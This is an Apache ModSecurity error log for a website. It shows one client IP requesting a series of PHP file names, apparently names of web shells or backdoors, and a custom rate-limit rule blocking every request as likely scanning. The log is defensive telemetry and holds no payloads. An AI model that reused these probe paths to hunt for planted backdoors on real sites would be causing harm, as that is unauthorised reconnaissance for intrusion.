[Tue Nov 25 21:21:03.477374 2025] [:error] [pid 14077:tid 14127] [client 4.241.179.168:39891] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disengaging.php"] [unique_id "aSWtPxG9n7UHEkwDTyjCmAAAAFE"]
[Tue Nov 25 21:21:06.363307 2025] [:error] [pid 43843:tid 43858] [client 4.241.179.168:39362] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disengaging.php"] [unique_id "aSWtQhhx4v3NUNdMKDPuZwAAAc0"]
[Tue Nov 25 21:21:07.983785 2025] [:error] [pid 14078:tid 14142] [client 4.241.179.168:39393] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disengaging.php"] [unique_id "aSWtQ9VXYbb0ii_rVoJvwgAAAIU"]
[Tue Nov 25 21:21:09.107324 2025] [:error] [pid 28609:tid 28629] [client 4.241.179.168:39873] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disquiet.php"] [unique_id "aSWtRSGGdT-nZJVs3x3jeQAAAYs"]
[Tue Nov 25 21:21:10.421646 2025] [:error] [pid 28739:tid 28763] [client 4.241.179.168:39366] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disquiet.php"] [unique_id "aSWtRhxGpKmlkG4FexSeDQAAAgE"]
[Tue Nov 25 21:21:11.720470 2025] [:error] [pid 2987:tid 3000] [client 4.241.179.168:39924] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disquiet.php"] [unique_id "aSWtR8-djEt-pTzPxnzDfAAAAUs"]
[Tue Nov 25 21:21:12.669313 2025] [:error] [pid 28836:tid 28967] [client 4.241.179.168:39380] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disquiet.php"] [unique_id "aSWtSJwNRsoxcLQGkTfhqwAAAsw"]
[Tue Nov 25 21:21:13.943322 2025] [:error] [pid 14076:tid 14087] [client 4.241.179.168:39375] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/duplicand.php"] [unique_id "aSWtSXsB4Gz6Qw-pvBs4FgAAAAY"]
[Tue Nov 25 21:21:15.424695 2025] [:error] [pid 28836:tid 29009] [client 4.241.179.168:39387] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/duplicand.php"] [unique_id "aSWtS5wNRsoxcLQGkTfhsQAAAtM"]
[Tue Nov 25 21:21:17.646056 2025] [:error] [pid 14077:tid 14112] [client 4.241.179.168:39382] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/duplicand.php"] [unique_id "aSWtTRG9n7UHEkwDTyjCowAAAEI"]
[Tue Nov 25 21:21:19.420657 2025] [:error] [pid 43981:tid 44000] [client 4.241.179.168:39405] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/duplicand.php"] [unique_id "aSWtTwgZn97m_qh_RaFffwAAAxE"]
[Tue Nov 25 21:21:21.084284 2025] [:error] [pid 14078:tid 14139] [client 4.241.179.168:39371] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/parturiency.php"] [unique_id "aSWtUdVXYbb0ii_rVoJv1wAAAII"]
[Tue Nov 25 21:21:23.138535 2025] [:error] [pid 43843:tid 43849] [client 4.241.179.168:39378] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/parturiency.php"] [unique_id "aSWtUxhx4v3NUNdMKDPudAAAAcQ"]
[Tue Nov 25 21:21:25.410051 2025] [:error] [pid 28609:tid 28635] [client 4.241.179.168:39912] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/parturiency.php"] [unique_id "aSWtVSGGdT-nZJVs3x3jmwAAAZE"]
[Tue Nov 25 21:21:28.525273 2025] [:error] [pid 28609:tid 28640] [client 4.241.179.168:39398] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/parturiency.php"] [unique_id "aSWtWCGGdT-nZJVs3x3jnwAAAZY"]
[Tue Nov 25 21:21:31.362982 2025] [:error] [pid 28739:tid 28774] [client 4.241.179.168:39368] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tithings.php"] [unique_id "aSWtWxxGpKmlkG4FexSeGwAAAgw"]
[Tue Nov 25 21:21:32.570249 2025] [:error] [pid 28609:tid 28623] [client 4.241.179.168:39391] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tithings.php"] [unique_id "aSWtXCGGdT-nZJVs3x3jowAAAYU"]
[Tue Nov 25 21:21:33.586377 2025] [:error] [pid 28609:tid 28639] [client 4.241.179.168:39900] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tithings.php"] [unique_id "aSWtXSGGdT-nZJVs3x3jpQAAAZU"]
[Tue Nov 25 21:21:34.603353 2025] [:error] [pid 28836:tid 28959] [client 4.241.179.168:39416] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tithings.php"] [unique_id "aSWtXpwNRsoxcLQGkTfhvQAAAsQ"]
[Tue Nov 25 21:21:35.705761 2025] [:error] [pid 2987:tid 3012] [client 4.241.179.168:39877] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww5.php"] [unique_id "aSWtX8-djEt-pTzPxnzDlQAAAVc"]
[Tue Nov 25 21:21:37.459637 2025] [:error] [pid 28739:tid 28767] [client 4.241.179.168:39361] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww5.php"] [unique_id "aSWtYRxGpKmlkG4FexSeKAAAAgU"]
[Tue Nov 25 21:21:39.420946 2025] [:error] [pid 14078:tid 14154] [client 4.241.179.168:39404] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww5.php"] [unique_id "aSWtY9VXYbb0ii_rVoJwCQAAAJE"]
[Tue Nov 25 21:21:40.336106 2025] [:error] [pid 14076:tid 14087] [client 4.241.179.168:39365] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww5.php"] [unique_id "aSWtZHsB4Gz6Qw-pvBs4LAAAAAY"]
[Tue Nov 25 21:21:41.145285 2025] [:error] [pid 43981:tid 43988] [client 4.241.179.168:39367] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aSWtZQgZn97m_qh_RaFfkgAAAwU"]
[Tue Nov 25 21:21:43.344314 2025] [:error] [pid 14168:tid 14178] [client 4.241.179.168:39364] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aSWtZ_R-ZDU0QEgAIIuF3gAAAMc"]
[Tue Nov 25 21:21:44.692371 2025] [:error] [pid 28609:tid 28638] [client 4.241.179.168:39875] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aSWtaCGGdT-nZJVs3x3jsQAAAZQ"]
[Tue Nov 25 21:21:47.126566 2025] [:error] [pid 2987:tid 3004] [client 4.241.179.168:39901] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aSWta8-djEt-pTzPxnzDmwAAAU8"]
[Tue Nov 25 21:21:48.506608 2025] [:error] [pid 28739:tid 28765] [client 4.241.179.168:39397] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-themes.php"] [unique_id "aSWtbBxGpKmlkG4FexSeNgAAAgM"]
[Tue Nov 25 21:21:51.075594 2025] [:error] [pid 43981:tid 43998] [client 4.241.179.168:39882] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-themes.php"] [unique_id "aSWtbwgZn97m_qh_RaFfoQAAAw8"]
[Tue Nov 25 21:21:52.631200 2025] [:error] [pid 14076:tid 14097] [client 4.241.179.168:39376] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-themes.php"] [unique_id "aSWtcHsB4Gz6Qw-pvBs4OwAAABA"]
[Tue Nov 25 21:21:54.099883 2025] [:error] [pid 14076:tid 14094] [client 4.241.179.168:39903] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-themes.php"] [unique_id "aSWtcnsB4Gz6Qw-pvBs4PAAAAA0"]
[Tue Nov 25 21:21:56.673347 2025] [:error] [pid 14076:tid 14086] [client 4.241.179.168:39885] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edd.php"] [unique_id "aSWtdHsB4Gz6Qw-pvBs4QAAAAAU"]
[Tue Nov 25 21:22:48.807472 2025] [:error] [pid 14168:tid 14192] [client 4.241.179.168:39372] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aSWtqPR-ZDU0QEgAIIuGJAAAANU"]
[Tue Nov 25 21:22:50.481090 2025] [:error] [pid 28609:tid 28637] [client 4.241.179.168:39399] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aSWtqiGGdT-nZJVs3x3kEAAAAZM"]
[Tue Nov 25 21:22:52.961048 2025] [:error] [pid 14077:tid 14117] [client 4.241.179.168:39825] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aSWtrBG9n7UHEkwDTyjDFAAAAEc"]
[Tue Nov 25 21:22:54.689591 2025] [:error] [pid 28739:tid 28767] [client 4.241.179.168:39388] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aSWtrhxGpKmlkG4FexSefgAAAgU"]
[Tue Nov 25 21:22:58.356865 2025] [:error] [pid 28609:tid 28633] [client 4.241.179.168:39411] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aSWtsiGGdT-nZJVs3x3kGgAAAY8"]
[Tue Nov 25 21:23:01.610719 2025] [:error] [pid 28739:tid 28782] [client 4.241.179.168:39412] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aSWttRxGpKmlkG4FexSeiQAAAhQ"]
[Tue Nov 25 21:23:03.188932 2025] [:error] [pid 28836:tid 29009] [client 4.241.179.168:39385] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aSWtt5wNRsoxcLQGkTfiAQAAAtM"]
[Tue Nov 25 21:23:05.038749 2025] [:error] [pid 14168:tid 14173] [client 4.241.179.168:39423] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aSWtufR-ZDU0QEgAIIuGMAAAAMI"]
[Tue Nov 25 21:23:07.357926 2025] [:error] [pid 43843:tid 43866] [client 4.241.179.168:39369] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nof.php"] [unique_id "aSWtuxhx4v3NUNdMKDPu1QAAAdU"]
[Tue Nov 25 21:23:08.094995 2025] [:error] [pid 28836:tid 28969] [client 4.241.179.168:39373] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nof.php"] [unique_id "aSWtvJwNRsoxcLQGkTfiBgAAAs4"]
[Tue Nov 25 21:23:09.380966 2025] [:error] [pid 14168:tid 14181] [client 4.241.179.168:39880] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nof.php"] [unique_id "aSWtvfR-ZDU0QEgAIIuGNgAAAMo"]
[Tue Nov 25 21:23:10.375637 2025] [:error] [pid 14076:tid 14085] [client 4.241.179.168:39381] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nof.php"] [unique_id "aSWtvnsB4Gz6Qw-pvBs4kgAAAAQ"]
[Tue Nov 25 21:23:11.377606 2025] [:error] [pid 14076:tid 14105] [client 4.241.179.168:39884] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aSWtv3sB4Gz6Qw-pvBs4lAAAABg"]
[Tue Nov 25 21:23:12.111874 2025] [:error] [pid 2987:tid 2992] [client 4.241.179.168:39363] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aSWtwM-djEt-pTzPxnzEVwAAAUM"]
[Tue Nov 25 21:23:13.135091 2025] [:error] [pid 28609:tid 28642] [client 4.241.179.168:39915] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aSWtwSGGdT-nZJVs3x3kMwAAAZg"]
[Tue Nov 25 21:23:14.776369 2025] [:error] [pid 43843:tid 43858] [client 4.241.179.168:39886] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aSWtwhhx4v3NUNdMKDPu6QAAAc0"]
[Tue Nov 25 21:23:16.270014 2025] [:error] [pid 28836:tid 28965] [client 4.241.179.168:39893] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/unbalanceable.php"] [unique_id "aSWtxJwNRsoxcLQGkTfiRAAAAso"]
[Tue Nov 25 21:23:17.605417 2025] [:error] [pid 28609:tid 28628] [client 4.241.179.168:39422] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/unbalanceable.php"] [unique_id "aSWtxSGGdT-nZJVs3x3kQwAAAYo"]
[Tue Nov 25 21:23:19.731585 2025] [:error] [pid 14076:tid 14094] [client 4.241.179.168:39413] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/unbalanceable.php"] [unique_id "aSWtx3sB4Gz6Qw-pvBs4pwAAAA0"]
[Tue Nov 25 21:23:22.114845 2025] [:error] [pid 28836:tid 28962] [client 4.241.179.168:39419] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/unbalanceable.php"] [unique_id "aSWtypwNRsoxcLQGkTfiTAAAAsc"]
[Tue Nov 25 21:23:23.815638 2025] [:error] [pid 14076:tid 14105] [client 4.241.179.168:39360] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSWty3sB4Gz6Qw-pvBs4rQAAABg"]
[Tue Nov 25 21:23:27.461849 2025] [:error] [pid 14168:tid 14186] [client 4.241.179.168:39386] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSWtz_R-ZDU0QEgAIIuGRwAAAM8"]
[Tue Nov 25 21:23:30.886699 2025] [:error] [pid 43843:tid 43856] [client 4.241.179.168:39881] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSWt0hhx4v3NUNdMKDPvBgAAAcs"]
[Tue Nov 25 21:23:32.886237 2025] [:error] [pid 14076:tid 14088] [client 4.241.179.168:39850] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-front.php"] [unique_id "aSWt1HsB4Gz6Qw-pvBs4vQAAAAc"]
